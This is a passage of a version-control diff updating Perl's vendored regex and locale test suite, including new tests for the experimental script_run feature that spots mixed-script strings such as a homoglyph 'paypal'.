+ '/ネ(?[[[:ネ]]])ネ/' => "Unexpected ']' with no following ')' in (?[... {#} m/ネ(?[[[:ネ]]{#}])ネ/",
+ '/ネ(?[[[:ネ: ])ネ/' => "Syntax error in (?[...]) {#} m/ネ(?[[[:ネ: ])ネ{#}/",
+ '/ネ(?[[[::]]])ネ/' => "Unexpected ']' with no following ')' in (?[... {#} m/ネ(?[[[::]]{#}])ネ/",
+ '/ネ(?[[[:ネ:]]])ネ/' => "Unexpected ']' with no following ')' in (?[... {#} m/ネ(?[[[:ネ:]]{#}])ネ/",
  '/ネ(?[ネ])ネ/' =>  'Unexpected character {#} m/ネ(?[ネ{#}])ネ/',
  '/ネ(?[ + [ネ] ])/' => 'Unexpected binary operator \'+\' with no preceding operand {#} m/ネ(?[ +{#} [ネ] ])/',
  '/ネ(?[ \cK - ( + [ネ] ) ])/' => 'Unexpected binary operator \'+\' with no preceding operand {#} m/ネ(?[ \cK - ( +{#} [ネ] ) ])/',
@@ -444,9 +467,10 @@
  '/(?[ \x{ネ} ])ネ/' => 'Non-hex character {#} m/(?[ \x{ネ{#}} ])ネ/',
  '/(?[ \p{ネ} ])/' => 'Can\'t find Unicode property definition "ネ" {#} m/(?[ \p{ネ}{#} ])/',
  '/(?[ \p{ ネ = bar } ])/' => 'Can\'t find Unicode property definition "ネ = bar" {#} m/(?[ \p{ ネ = bar }{#} ])/',
- '/ネ(?[ \t ]/' => 'Syntax error in (?[...]) in regex m/ネ(?[ \t ]/',
- '/(?[ \t + \e # ネ This was supposed to be a comment ])/' => 'Syntax error in (?[...]) in regex m/(?[ \t + \e # ネ This was supposed to be a comment ])/',
- 'm/(*ネ)ネ/' => q<Unknown verb pattern 'ネ' {#} m/(*ネ){#}ネ/>,
+ '/ネ(?[ \t ]/' => "Unexpected ']' with no following ')' in (?[... {#} m/ネ(?[ \\t ]{#}/",
+ '/(?[ \t + \e # ネ This was supposed to be a comment ])/' =>
+    "Syntax error in (?[...]) {#} m/(?[ \\t + \\e # ネ This was supposed to be a comment ]){#}/",
+ 'm/(*ネ)ネ/' => q<Unknown '(*...)' construct 'ネ' {#} m/(*ネ){#}ネ/>,
  '/\cネ/' => "Character following \"\\c\" must be printable ASCII",
  '/\b{ネ}/' => "'ネ' is an unknown bound type {#} m/\\b{ネ{#}}/",
  '/\B{ネ}/' => "'ネ' is an unknown bound type {#} m/\\B{ネ{#}}/",
@@ -578,6 +602,15 @@
                                   'Assuming NOT a POSIX class since a semi-colon was found instead of a colon {#} m/[foo;{#}punct;]]\x{100}/',
                                   'Assuming NOT a POSIX class since a semi-colon was found instead of a colon {#} m/[foo;punct;]{#}]\x{100}/',
                                 ],
+   '/[][[:alpha:]]/' => "",        # [perl #127581]
+   '/[][[:alpha:]\\@\\\\^_?]/' => "", # [perl #131522]
+    '/(?[[:w:]])/' => "",
+    '/([.].*)[.]/'   => "",    # [perl #127582]
+    '/[.].*[.]/'     => "",    # [perl #127604]
+    '/abc/xix' => "",
+    '/(?xmsixp:abc)/' => "",
+    '/(?xmsixp)abc/' => "",
+    '/(?xxxx:abc)/' => "",
 
 ); # See comments before this for why '\x{100}' is generally needed
 
@@ -592,6 +625,8 @@
         'Useless (?g) - use /g modifier {#} m/utf8 ネ (?og{#}c) ネ/',
         'Useless (?c) - use /gc modifier {#} m/utf8 ネ (?ogc{#}) ネ/',
     ],
+   '/ネ[[:ネ:]]ネ/' => "",
+   '/ネ(?[[:ネ:]])ネ/' => "",
 
 );
 
@@ -641,11 +676,17 @@
     '/noutf8 ネ (?[ [\tネ] ])/' => 'The regex_sets feature is experimental {#} m/noutf8 ネ (?[{#} [\tネ] ])/',
 );
 
+my @experimental_script_run = (
+    '/(*script_run:paypal.com)/' => 'The script_run feature is experimental {#} m/(*script_run:{#}paypal.com)/',
+    'use utf8; /utf8 ネ (*script_run:ネ)/' => do { use utf8; 'The script_run feature is experimental {#} m/utf8 ネ (*script_run:{#}ネ)/' },
+    '/noutf8 ネ (*script_run:ネ)/' => 'The script_run feature is experimental {#} m/noutf8 ネ (*script_run:{#}ネ)/',
+);
+
 my @deprecated = (
  '/^{/'          => "",
  '/foo|{/'       => "",
  '/foo|^{/'      => "",
- '/foo({bar)/'   => "",
+ '/foo({bar)/'   => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.32), passed through {#} m/foo({{#}bar)/',
  '/foo(:?{bar)/' => "",
  '/\s*{/'        => "",
  '/a{3,4}{/'     => "",
@@ -652,7 +693,6 @@
  '/.{/'         => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/.{{#}/',
  '/[x]{/'       => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/[x]{{#}/',
  '/\p{Latin}{/' => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/\p{Latin}{{#}/',
- '/\\${[^\\}]*}/' => 'Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through {#} m/\\${{#}[^\\}]*}/',
 );
 
 for my $strict ("", "use re 'strict';") {
@@ -673,17 +713,32 @@
         }
     }
     for (my $i = 0; $i < @death; $i += 2) {
-        my $regex = $death[$i];
+        my $regex = $death[$i] =~ s/ default_ (on | off) //rx;
         my $expect = fixup_expect($death[$i+1], $strict);
-        no warnings 'experimental::regex_sets';
-        no warnings 'experimental::re_strict';
+        if ($expect eq "") {
+            fail("$0: Internal error: '$death[$i]' should have an error message");
+        }
+        else {
+            no warnings 'experimental::regex_sets';
+            no warnings 'experimental::script_run';
+            no warnings 'experimental::re_strict';
 
-        warning_is(sub {
+            warning_is(sub {
+                    my $meaning_of_life;
                     my $eval_string = "$strict $regex";
                     $_ = "x";
-                    eval $eval_string;
-                    like($@, qr/\Q$expect/, $eval_string);
-                }, undef, "... and died without any other warnings");
+                    eval "$eval_string; \$meaning_of_life = 42";
+                    ok (! defined $meaning_of_life, "$eval_string died");
+                    my $error= $@;
+                    if ($error =~ qr/\Q$expect/) {
+                        ok(1, "... and gave expected message");
+                    } else {
+                        ok(0,$eval_string);
+                        diag("Have: " . _q(add_markers($error)));
+                        diag("Want: " . _q($death[$i+1]));
+                    }
+                }, undef, "... and no other warnings");
+        }
     }
 }
 
@@ -718,13 +773,18 @@
         }
     }
 
-    foreach my $ref (\@warning_tests, \@experimental_regex_sets, \@deprecated) {
+    foreach my $ref (\@warning_tests,
+                     \@experimental_regex_sets,
+                     \@experimental_script_run,
+                     \@deprecated)
+    {
         my $warning_type;
         my $turn_off_warnings = "";
         my $default_on;
         if ($ref == \@warning_tests) {
             $warning_type = 'regexp, digit';
-            $turn_off_warnings = "no warnings 'experimental::regex_sets';";
+            $turn_off_warnings = "no warnings 'experimental::regex_sets';"
+                               . "no warnings 'experimental::script_run';";
             $default_on = $strict;
         }
         elsif ($ref == \@deprecated) {
@@ -731,12 +791,24 @@
             $warning_type = 'regexp, deprecated';
             $default_on = 1;
         }
-        else {
+        elsif ($ref == \@experimental_regex_sets) {
             $warning_type = 'experimental::regex_sets';
             $default_on = 1;
         }
+        elsif ($ref == \@experimental_script_run) {
+            $warning_type = 'experimental::script_run';
+            $default_on = 1;
+        }
+        else {
+            fail("$0: Internal error: Unexpected loop variable");
+        }
+
         for (my $i = 0; $i < @$ref; $i += 2) {
+            my $this_default_on = $default_on;
             my $regex = $ref->[$i];
+            if ($regex =~ s/ default_ (on | off) //x) {
+                $this_default_on = $1 eq 'on';
+            }
             my @expect = fixup_expect($ref->[$i+1], $strict);
 
             # A length-1 array with an empty warning means no warning gets
@@ -790,7 +862,7 @@
                                                         eval "$strict $regex" });
                         # Warning should be on as well if is testing
                         # '(?[...])' which turns on strict
-                        if ($default_on || grep { $_ =~ /\Q(?[/ } @expect ) {
+                        if ($this_default_on || grep { $_ =~ /\Q(?[/ } @expect ) {
                            ok @warns > 0, "... and the warning is on by default";
                         }
                         else {

Modified: vendor/perl/dist/t/re/regex_sets.t
===================================================================
--- vendor/perl/dist/t/re/regex_sets.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/regex_sets.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -158,13 +158,13 @@
 	eval { $_ = '/(?[(\c]) /'; qr/$_/ };
 	like($@, qr/^Syntax error/, '/(?[(\c]) / should not panic');
 	eval { $_ = '(?[\c#]' . "\n])"; qr/$_/ };
-	like($@, qr/^Syntax error/, '/(?[(\c]) / should not panic');
+	like($@, qr/^Unexpected/, '/(?[(\c]) / should not panic');
 	eval { $_ = '(?[(\c])'; qr/$_/ };
 	like($@, qr/^Syntax error/, '/(?[(\c])/ should be a syntax error');
 	eval { $_ = '(?[(\c]) ]\b'; qr/$_/ };
-	like($@, qr/^Syntax error/, '/(?[(\c]) ]\b/ should be a syntax error');
+	like($@, qr/^Unexpected/, '/(?[(\c]) ]\b/ should be a syntax error');
 	eval { $_ = '(?[\c[]](])'; qr/$_/ };
-	like($@, qr/^Syntax error/, '/(?[\c[]](])/ should be a syntax error');
+	like($@, qr/^Unexpected/, '/(?[\c[]](])/ should be a syntax error');
 	like("\c#", qr/(?[\c#])/, '\c# should match itself');
 	like("\c[", qr/(?[\c[])/, '\c[ should match itself');
 	like("\c\ ", qr/(?[\c\])/, '\c\ should match itself');
@@ -204,6 +204,17 @@
     like("a", qr/$pat/, "/$pat/ compiles and matches 'a'");
 }
 
+{   # [perl #132167]
+    fresh_perl_is('no warnings "experimental::regex_sets";
+        print "c" =~ qr/(?[ ( \p{Uppercase} ) + (\p{Lowercase} - ([a] + [b]))  ])/;',
+        1, {},
+        'qr/(?[ ( \p{Uppercase} ) + (\p{Lowercase} - ([a] + [b]))  ]) compiles and properly matches');
+    fresh_perl_is('no warnings "experimental::regex_sets";
+        print "b" =~ qr/(?[ ( \p{Uppercase} ) + (\p{Lowercase} - ([a] + [b]))  ])/;',
+        "", {},
+        'qr/(?[ ( \p{Uppercase} ) + (\p{Lowercase} - ([a] + [b]))  ]) compiles and properly matches');
+}
+
 done_testing();
 
 1;

Modified: vendor/perl/dist/t/re/regexp.t
===================================================================
--- vendor/perl/dist/t/re/regexp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/regexp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -71,6 +71,13 @@
 	print("1..0 # Skip Unicode tables not built yet\n"), exit
 	    unless eval 'require "unicore/Heavy.pl"';
     }
+
+    # Some of the tests need a locale; which one doesn't much matter, except
+    # that it be valid.  Make sure of that
+    eval { require POSIX;
+            POSIX->import(qw(LC_ALL setlocale));
+            POSIX::setlocale(&LC_ALL, "C");
+    };
 }
 
 sub _comment {
@@ -98,12 +105,12 @@
 
 use strict;
 use warnings FATAL=>"all";
-use vars qw($bang $ffff $nulnul); # used by the tests
-use vars qw($qr $skip_amp $qr_embed $qr_embed_thr $regex_sets
-            $no_null); # set by our callers
+our ($bang, $ffff, $nulnul); # used by the tests
+our ($qr, $skip_amp, $qr_embed, $qr_embed_thr, $regex_sets, $alpha_assertions, $no_null); # set by our callers
 
+my $expanded_text = "expanded name from original test number";
+my $expanded_text_re = qr/$expanded_text/;
 
-
 if (!defined $file) {
     open TESTS, 're/re_tests' or die "Can't open re/re_tests: $!";
 }
@@ -118,7 +125,6 @@
 my $OP = $qr ? 'qr' : 'm';
 
 $| = 1;
-printf "1..%d\n# $iters iterations\n", scalar @tests;
 
 my $test;
 TEST:
@@ -134,6 +140,7 @@
     chomp;
     s/\\n/\n/g unless $regex_sets;
     my ($pat, $subject, $result, $repl, $expect, $reason, $comment) = split(/\t/,$_,7);
+    $comment = "" unless defined $comment;
     if (!defined $subject) {
         die "Bad test definition on line $test: $_\n";
     }
@@ -183,8 +190,43 @@
         $comment=~s/^\s*(?:#\s*)?//;
         $testname .= " - $comment" if $comment;
     }
-    if (! $skip && $regex_sets) {
+    if (! $skip && $alpha_assertions) {
+        my $assertions_re = qr/ (?: \Q(?\E (?: > | <? [=>] ) ) /x;
+        if ($pat !~ $assertions_re && $comment !~ $expanded_text_re) {
+            $skip++;
+            $reason = "Pattern doesn't contain assertions";
+        }
+        elsif ($comment !~ $expanded_text_re) {
+            my $expanded_pat = $pat;
 
+            $pat =~ s/\( \? > /(*atomic:/xg;
+
+            if ($pat =~ s/\( \? = /(*pla:/xg) {
+                $expanded_pat =~ s//(*positive_lookahead:/g;
+            }
+            if ($pat =~ s/\( \? ! /(*nla:/xg) {
+                $expanded_pat =~ s//(*negative_lookahead:/g;
+            }
+            if ($pat =~ s/\( \? <= /(*plb:/xg) {
+                $expanded_pat =~ s//(*positive_lookbehind:/g;
+            }
+            if ($pat =~ s/\( \? <! /(*nlb:/xg) {
+                $expanded_pat =~ s//(*negative_lookbehind:/g;
+            }
+            if ($expanded_pat ne $pat) {
+                $comment .= " $expanded_text $test";
+                push @tests, join "\t", $expanded_pat,
+                                        $subject // "",
+                                        $result // "",
+                                        $repl // "",
+                                        $expect // "",
+                                        $reason // "",
+                                        $comment;
+            }
+        }
+    }
+    elsif (! $skip && $regex_sets) {
+
         # If testing regex sets, change the [bracketed] classes into
         # (?[bracketed]).  But note that '\[' and '\c[' don't introduce such a
         # class.  (We don't bother looking for an odd number of backslashes,
@@ -247,7 +289,8 @@
                             }
                         }
                         $j--;
-                        $modified .= substr($pat, $i + 1, $j - $i) . " ";
+                        $modified .= substr($pat, $i + 1, $j - $i);
+                        $modified .= " " if $in_brackets;
                         $i = $j;
                     }
                     elsif (ord($curchar) >= ord('0')
@@ -290,12 +333,8 @@
 
                 # A regular character.
                 if ($curchar ne '[') {
-                    if (! $in_brackets) {
-                        $modified .= $curchar;
-                    }
-                    else {
-                        $modified .= " $curchar ";
-                    }
+                    $modified .= " " if  $in_brackets;
+                    $modified .= $curchar;
                     next;
                 }
 
@@ -418,6 +457,7 @@
 EOFCODE
         }
         $code = "no warnings 'experimental::regex_sets';$code" if $regex_sets;
+        $code = "no warnings 'experimental::alpha_assertions';$code" if $alpha_assertions;
         #$code.=qq[\n\$expect="$expect";\n];
         #use Devel::Peek;
         #die Dump($code) if $pat=~/\\h/ and $subject=~/\x{A0}/;
@@ -471,4 +511,6 @@
     print "ok $testname$todo\n";
 }
 
+printf "1..%d\n# $iters iterations\n", scalar @tests;
+
 1;

Modified: vendor/perl/dist/t/re/regexp_unicode_prop.t
===================================================================
--- vendor/perl/dist/t/re/regexp_unicode_prop.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/regexp_unicode_prop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -100,6 +100,9 @@
    Dash                      => ['-'],
    ASCII_Hex_Digit           => ['!-', 'A'],
    IsAsciiHexAndDash         => ['-', 'A'],
+
+   # This overrides the official one
+   InLatin1                  => ['\x{0100}', '!\x{00FF}'],
 );
 
 my @USER_CASELESS_PROPERTIES = (
@@ -342,6 +345,10 @@
 +utf8::Dash
 --
 
+sub InLatin1 {
+    return "0100\t10FFFF";
+}
+
 sub IsMyUpper {
     my $caseless = shift;
     return "+utf8::"

Modified: vendor/perl/dist/t/re/rxcode.t
===================================================================
--- vendor/perl/dist/t/re/rxcode.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/rxcode.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -59,7 +59,7 @@
 unlike( 'abc', qr/^a(?{push @ar,107})b(?{push @ar,108})$/, 'abc !~ ab$ (push)' );
 cmp_ok( scalar(@ar), '==', 0, '..still nothing pushed' );
 
-use vars '@var';
+our @var;
 
 like( 'ab', qr/^a(?{push @var,109})(?:b(?{push @var,110}))?/, 'ab =~ ab? push to package var' );
 cmp_ok( scalar(@var), '==', 2, '.. at var pushed' );

Added: vendor/perl/dist/t/re/script_run.t
===================================================================
--- vendor/perl/dist/t/re/script_run.t	                        (rev 0)
+++ vendor/perl/dist/t/re/script_run.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,95 @@
+BEGIN {
+    chdir 't' if -d 't';
+    require './test.pl';
+    set_up_inc('../lib');
+}
+
+use strict;
+use warnings;
+
+$|=1;
+
+# The Script_Extension property has only recently become reasonably stable, so
+# later Unicode releases may change things.   Some of these tests were
+# designed to provide more code covereage in regexec.c, so changes in it or
+# later Standards could cause them to not test what they originally were aimed
+# to do.
+
+no warnings "experimental::script_run";
+
+# Since there's so few tests currently, we can afford to try each syntax on
+# all of them
+foreach my $type ('script_run', 'sr', 'atomic_script_run', 'asr') {
+    my $script_run;
+    eval '$script_run = qr/ ^ (*$type: .* ) $ /x;';
+
+    unlike("\N{CYRILLIC SMALL LETTER ER}\N{CYRILLIC SMALL LETTER A}\N{CYRILLIC SMALL LETTER U}}\N{CYRILLIC SMALL LETTER ER}\N{CYRILLIC SMALL LETTER A}l", $script_run, "Cyrillic 'paypal' with a Latin 'l' is not a script run");
+    unlike("A\N{GREEK CAPITAL LETTER GAMMA}", $script_run, "Latin followed by Greek isn't a script run");
+
+    like("\N{CYRILLIC THOUSANDS SIGN}\N{COMBINING CYRILLIC TITLO}", $script_run, "Cyrillic followed by Permic-Arabic is Arabic");
+    like("\N{OLD PERMIC LETTER AN}\N{COMBINING CYRILLIC TITLO}", $script_run, "Permic followed by Permic-Arabic is Permic");
+    unlike("\N{GLAGOLITIC CAPITAL LETTER AZU}\N{COMBINING CYRILLIC TITLO}", $script_run, "Glagolithic followed by Permic-Arabic isn't a script run");
+
+    like("\N{CYRILLIC THOUSANDS SIGN}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Cyrillic followed by Glagolithic-Arabic is Arabic");
+    like("\N{GLAGOLITIC CAPITAL LETTER AZU}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Glagolithic followed by Glagolithic-Arabic is Glagolithic");
+    unlike("\N{OLD PERMIC LETTER AN}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Permic followed by Glagolithic-Arabic isn't a script run");
+
+    like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{ARABIC COMMA}\N{ARABIC-INDIC DIGIT FOUR}\N{THAANA LETTER HAA}", $script_run, "Arabic-Thaana chars followed by Thaana is Thaana");
+    unlike("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}A", $script_run, "Arabic-Thaana chars followed by Latin isn't a script run");
+    like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{ARABIC COMMA}\N{ARABIC-INDIC DIGIT FOUR}\N{ARABIC NUMBER SIGN}", $script_run, "Arabic-Thaana chars followed by Arabic is Arabic");
+    unlike("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{EXTENDED ARABIC-INDIC DIGIT NINE}", $script_run, "Arabic-Thaana digits followed by an Arabic digit from a different sequence isn't a script run");
+    like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{THAANA LETTER HAA}", $script_run, "Arabic-Thaana digits followed by a Thaana leter is a script run");
+
+    # The next tests are at a hard-coded boundary in regexec.c at the time of this
+    # writing (U+02B9/02BA).
+    like("abc\N{MODIFIER LETTER SMALL Y}", $script_run, "All Latin is a script run");
+    like("abc\N{MODIFIER LETTER PRIME}", $script_run, "Latin then Common is a script run");
+    like(":a", $script_run, "Common then Latin is a script run");
+    like("-\N{SINHALA LETTER RAYANNA}", $script_run, "Common then Sinhala (which has its own 0) is a script run");
+
+    like("\N{HEBREW LETTER ALEF}\N{HEBREW LETTER TAV}\N{MODIFIER LETTER PRIME}", $script_run, "Hebrew then Common is a script run");
+    unlike("\N{HEBREW LETTER ALEF}\N{HEBREW LETTER TAV}\N{MODIFIER LETTER SMALL Y}", $script_run, "Hebrew then Latin isn't a script run");
+    like("9876543210\N{DESERET SMALL LETTER WU}", $script_run, "0-9 are the digits for Deseret");
+    like("\N{DESERET SMALL LETTER WU}9876543210", $script_run, "Also when they aren't in the initial position");
+    unlike("\N{DESERET SMALL LETTER WU}\N{FULLWIDTH DIGIT FIVE}", $script_run, "Fullwidth digits aren't the digits for Deseret");
+    unlike("\N{FULLWIDTH DIGIT SIX}\N{DESERET SMALL LETTER LONG I}", $script_run, "... likewise if the digits come first");
+
+    like("1234567890\N{ARABIC LETTER ALEF}", $script_run, "[0-9] work for Arabic");
+    unlike("1234567890\N{ARABIC LETTER ALEF}\N{ARABIC-INDIC DIGIT FOUR}\N{ARABIC-INDIC DIGIT FIVE}", $script_run, "... but not in combination with real ARABIC digits");
+    unlike("\N{ARABIC LETTER ALEF}\N{ARABIC-INDIC DIGIT SIX}\N{ARABIC-INDIC DIGIT SEVEN}1", $script_run, "... nor when the ARABIC digits come before them");
+
+    # This exercises the case where the script zero but not the script is
+    # ambiguous until a non-ambiguous digit is found.
+    like("\N{ARABIC LETTER ALEF}\N{EXTENDED ARABIC-INDIC DIGIT EIGHT}", $script_run, "ARABIC with a Shia digit is a script run");
+
+    like("\N{U+03A2}", $script_run, "A single unassigned code point is a script run");
+    unlike("\N{U+03A2}\N{U+03A2}", $script_run, "But not more than one");
+    unlike("A\N{U+03A2}", $script_run, "... and not in combination with an assigned one");
+    unlike("\N{U+03A2}A", $script_run, "... in either order");
+    unlike("\N{U+03A2}0", $script_run, "... nor with a digit following");
+
+    like("A\N{COMBINING GRAVE ACCENT}", $script_run, "An inherited script matches others");
+    like("\N{COMBINING GRAVE ACCENT}A", $script_run, "... even if first in the sequence");
+
+    like("\N{COMBINING TILDE}\N{COMBINING GRAVE ACCENT}", $script_run, "A script containing only inherited characters matches");
+
+    like("\N{DEVANAGARI DOUBLE DANDA}\N{DEVANAGARI DANDA}\N{DEVANAGARI STRESS SIGN UDATTA}\N{DEVANAGARI STRESS SIGN ANUDATTA}\N{NORTH INDIC FRACTION ONE QUARTER}\N{NORTH INDIC QUANTITY MARK}", $script_run, "A bunch of narrowing down of multiple possible scripts");
+
+    unlike("\N{JAVANESE PANGRANGKEP}\N{GEORGIAN PARAGRAPH SEPARATOR}", $script_run, "Two code points each in multiple scripts that don't intersect aren't a script run");
+    like("\N{DEVANAGARI SIGN CANDRABINDU VIRAMA}\N{VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA}", $script_run, "Two code points each in multiple scripts that 't intersect singly are a script run");
+
+    like("", $script_run, "An empty string is a script run");
+
+    use utf8;
+
+    # From UTS 39
+    like("写真だけの結婚式", $script_run, "Mixed Hiragana and Han");
+}
+
+    # Until fixed, this was skipping the '['
+    unlike("abc]c", qr/^ (*sr:a(*sr:[bc]*)c) $/x, "Doesn't skip parts of exact matches");
+
+      like("abc", qr/(*asr:a[bc]*c)/, "Outer asr works on a run");
+    unlike("abc", qr/(*asr:a(*asr:[bc]*)c)/, "Nested asr works to exclude some things");
+
+done_testing();

Modified: vendor/perl/dist/t/re/speed.t
===================================================================
--- vendor/perl/dist/t/re/speed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/speed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
 skip_all('no re module') unless defined &DynaLoader::boot_DynaLoader;
 skip_all_without_unicode_tables();
 
-plan tests => 58;  #** update watchdog timeouts proportionally when adding tests
+plan tests => 59;  #** update watchdog timeouts proportionally when adding tests
 
 use strict;
 use warnings;
@@ -156,6 +156,9 @@
         ok( $elapsed <= 1, "should not COW on long string with substr and m//g");
     }
 
+    # [perl #133185] Infinite loop
+    like("!\xdf", eval 'qr/\pp(?aai)\xdf/',
+         'Compiling qr/\pp(?aai)\xdf/ doesn\'t loop');
 
 } # End of sub run_tests
 

Modified: vendor/perl/dist/t/re/subst.t
===================================================================
--- vendor/perl/dist/t/re/subst.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/re/subst.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
     require './loc_tools.pl';
 }
 
-plan(tests => 275);
+plan(tests => 276);
 
 $_ = 'david';
 $a = s/david/rules/r;
@@ -1163,6 +1163,16 @@
     pass("RT #130188");
 }
 
+# RT #131930
+# a multi-line s/// wasn't resetting the cop_line correctly
+{
+    my $l0 = __LINE__;
+    my $s = "a";
+    $s =~ s[a]
+           [b];
+    my $lines = __LINE__ - $l0;
+    is $lines, 4, "RT #131930";
+}
 
 
 

Modified: vendor/perl/dist/t/run/locale.t
===================================================================
--- vendor/perl/dist/t/run/locale.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/run/locale.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,11 +24,47 @@
 my @locales = find_locales( [ 'LC_ALL', 'LC_CTYPE', 'LC_NUMERIC' ]);
 skip_all("no locales available") unless @locales;
 
+my $debug = 0;
+my $switches = "";
+if (defined $ARGV[0] && $ARGV[0] ne "") {
+    if ($ARGV[0] ne 'debug') {
+        print STDERR "Usage: $0 [ debug ]\n";
+        exit 1
+    }
+    $debug = 1;
+    $switches = "switches => [ '-DLv' ]";
+}
+
 # reset the locale environment
-delete local @ENV{'LANG', (grep /^LC_/, keys %ENV)};
+delete local @ENV{'LANG', (grep /^LC_[A-Z]+$/, keys %ENV)};
 
-plan tests => &last;
+# If user wants this to happen, they set the environment variable AND use
+# 'debug'
+delete local $ENV{'PERL_DEBUG_LOCALE_INIT'} unless $debug;
 
+{
+    fresh_perl_is(<<"EOF",
+            use locale;
+            use POSIX;
+            POSIX::setlocale(POSIX::LC_CTYPE(),"C");
+            print "h" =~ /[g\\w]/i || 0;
+            print "\\n";
+EOF
+        1, { stderr => 'devnull' }, "/il matching of [bracketed] doesn't skip POSIX class if fails individ char");
+}
+
+{
+    fresh_perl_is(<<"EOF",
+            use locale;
+            use POSIX;
+            POSIX::setlocale(POSIX::LC_CTYPE(),"C");
+            print "0" =~ /[\\d[:punct:]]/l || 0;
+            print "\\n";
+EOF
+        1, { stderr => 'devnull' }, "/l matching of [bracketed] doesn't skip non-first POSIX class");
+
+}
+
 my $non_C_locale;
 foreach my $locale (@locales) {
     next if $locale eq "C" || $locale eq 'POSIX';
@@ -36,297 +72,283 @@
     last;
 }
 
-SKIP: {
-    skip("no non-C locale available", 2 ) unless $non_C_locale;
+if ($non_C_locale) {
     setlocale(LC_NUMERIC, $non_C_locale);
     isnt(setlocale(LC_NUMERIC), "C", "retrieving current non-C LC_NUMERIC doesn't give 'C'");
     setlocale(LC_ALL, $non_C_locale);
     isnt(setlocale(LC_ALL), "C", "retrieving current non-C LC_ALL doesn't give 'C'");
-}
 
-# Skip this locale on these cywgwin versions as the returned radix character
-# length is wrong
-my @test_numeric_locales = ($^O ne 'cygwin' || version->new(($Config{'osvers'} =~ /^(\d+(?:\.\d+)+)/)[0]) gt v2.4.1)
-                           ? @locales
-                           : grep { $_ !~ m/ps_AF/i } @locales;
+    my @test_numeric_locales = @locales;
 
-fresh_perl_is("for (qw(@test_numeric_locales)) {\n" . <<'EOF',
-    use POSIX qw(locale_h);
-    use locale;
-    setlocale(LC_NUMERIC, "$_") or next;
-    my $s = sprintf "%g %g", 3.1, 3.1;
-    next if $s eq '3.1 3.1' || $s =~ /^(3.+1) \1$/;
-    print "$_ $s\n";
-}
-EOF
-    "", {}, "no locales where LC_NUMERIC breaks");
+    # Skip this locale on these cywgwin versions as the returned radix character
+    # length is wrong
+    if (   $^O eq 'cygwin'
+        && version->new(($Config{'osvers'} =~ /^(\d+(?:\.\d+)+)/)[0]) le v2.4.1)
+    {
+        @test_numeric_locales = grep { $_ !~ m/ps_AF/i } @test_numeric_locales;
+    }
 
-SKIP: {
-    skip("Windows stores locale defaults in the registry", 1 )
-                                                            if $^O eq 'MSWin32';
-    fresh_perl_is("for (qw(@locales)) {\n" . <<'EOF',
+    # Similarly the arabic locales on solaris don't work right on the
+    # multi-byte radix character, generating malformed UTF-8.
+    if ($^O eq 'solaris') {
+        @test_numeric_locales = grep { $_ !~ m/ ^ ( ar_ | pa_ ) /x }
+                                                        @test_numeric_locales;
+    }
+
+    fresh_perl_is("for (qw(@test_numeric_locales)) {\n" . <<'EOF',
         use POSIX qw(locale_h);
         use locale;
-        my $in = 4.2;
-        my $s = sprintf "%g", $in; # avoid any constant folding bugs
-        next if $s eq "4.2";
+        setlocale(LC_NUMERIC, "$_") or next;
+        my $s = sprintf "%g %g", 3.1, 3.1;
+        next if $s eq '3.1 3.1' || $s =~ /^(3.+1) \1$/;
+        no warnings "utf8";
         print "$_ $s\n";
     }
 EOF
-    "", {}, "LC_NUMERIC without environment nor setlocale() has no effect in any locale");
-}
+        "", { eval $switches }, "no locales where LC_NUMERIC breaks");
 
-# try to find out a locale where LC_NUMERIC makes a difference
-my $original_locale = setlocale(LC_NUMERIC);
+    SKIP: {
+        skip("Windows stores locale defaults in the registry", 1 )
+                                                                if $^O eq 'MSWin32';
+        fresh_perl_is("for (qw(@locales)) {\n" . <<'EOF',
+            use POSIX qw(locale_h);
+            use locale;
+            my $in = 4.2;
+            my $s = sprintf "%g", $in; # avoid any constant folding bugs
+            next if $s eq "4.2";
+            no warnings "utf8";
+            print "$_ $s\n";
+        }
+EOF
+        "", { eval $switches }, "LC_NUMERIC without environment nor setlocale() has no effect in any locale");
+    }
 
-my ($base, $different, $comma, $difference, $utf8_radix);
-my $radix_encoded_as_utf8;
-for ("C", @locales) { # prefer C for the base if available
